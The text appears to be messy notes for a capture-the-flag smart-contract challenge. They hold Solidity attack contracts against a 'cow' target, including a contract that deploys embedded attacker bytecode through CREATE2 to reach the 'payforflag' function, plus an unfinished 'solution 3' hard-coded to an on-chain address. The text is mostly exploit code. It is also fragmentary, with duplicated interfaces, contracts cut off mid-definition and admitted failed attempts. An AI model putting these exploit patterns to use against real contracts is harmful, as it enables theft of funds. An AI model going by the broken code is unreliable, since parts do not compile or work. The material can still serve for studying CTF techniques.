pragma solidity ^0.4.2; contract cow{ address public owner_1; address public owner_2; address public owner_3; address public owner; mapping(address => uint) public balance;
// SPDX-License-Identifier: MIT pragma solidity 0.8.20; // CREATE2 was added to Inline assembler in version 0.5.2
interface Icow{ function Cow()external payable; function cov()external payable; function see()external payable; function buy_own()external; function payforflag(string memory)external; }
// SPDX-License-Identifier: MIT pragma solidity 0.8.20; // CREATE2 was added to Inline assembler in version 0.5.2
interface Icow{ function Cow()external payable; function cov()external payable; function see()external payable; function buy_own()external; function payforflag(string memory)external; }
contract deployAttack{ bytes public attackCode = hex"608060405260405161051b38038061051b83398181016040528101906100259190610347565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ff2eff94670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156100d1575f80fd5b505af11580156100e3573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396c50336670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b158015610155575f80fd5b505af1158015610167573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639ae5a2be6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156101d0575f80fd5b505af11580156101e2573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ed6b8ff36040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561024a575f80fd5b505af115801561025c573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bc344bc6040518163ffffffff1660e01b81526004016102b6906103cc565b5f604051808303815f87803b1580156102cd575f80fd5b505af11580156102df573d5f803e3d5ffd5b50505050506103ea565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610316826102ed565b9050919050565b6103268161030c565b8114610330575f80fd5b50565b5f815190506103418161031d565b92915050565b5f6020828403121561035c5761035b6102e9565b5b5f61036984828501610333565b91505092915050565b5f82825260208201905092915050565b7f7375636365737366756c6c7900000000000000000000000000000000000000005f82015250565b5f6103b6600c83610372565b91506103c182610382565b602082019050919050565b5f6020820190508181035f8301526103e3816103aa565b9050919050565b610124806103f75f395ff3fe608060405260043610601e575f3560e01c80634382e79614602157601f565b5b005b348015602b575f80fd5b5060326046565b604051603d919060d7565b60405180910390f35b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f60a560a1609d846069565b6088565b6069565b9050919050565b5f60b4826091565b9050919050565b5f60c38260ac565b9050919050565b60d18160bb565b82525050565b5f60208201905060e85f83018460ca565b9291505056fea264697066735822122028aa20ef563791f8bcf46fe2a77305c5a34faed84db654744d52b270c03ad0d564736f6c63430008140033"; bytes32 public attackCodeHash = ""; // before attack, we should update the attackCode, // because the parameters should be add behide the bytecode function getHash(address _addr) public returns(bytes32){ attackCode = abi.encodePacked(attackCode,abi.encode(_addr)); attackCodeHash = keccak256(attackCode); return attackCodeHash; }
function attack(bytes32 _salt) public payable{ bytes memory bytecode = attackCode; address addr; assembly { // deploy the contract with 2 Ether addr := create2(2000000000000000000, add(bytecode, 0x20), mload(bytecode), _salt) } } }
solution 3: not successful, TODO……how to use new(CREATE2)?
//solution 3: not successful, TODO......how to use new(CREATE2)? // SPDX-License-Identifier: MIT pragma solidity 0.8.20;
interface Icow{ function Cow()external payable; function cov()external payable; function see()external payable; function buy_own()external; function payforflag(string memory)external; }
contract AttackMan{ Icow public _cow = Icow(0x6298e76001Fdd107735f040df8808864B8128722);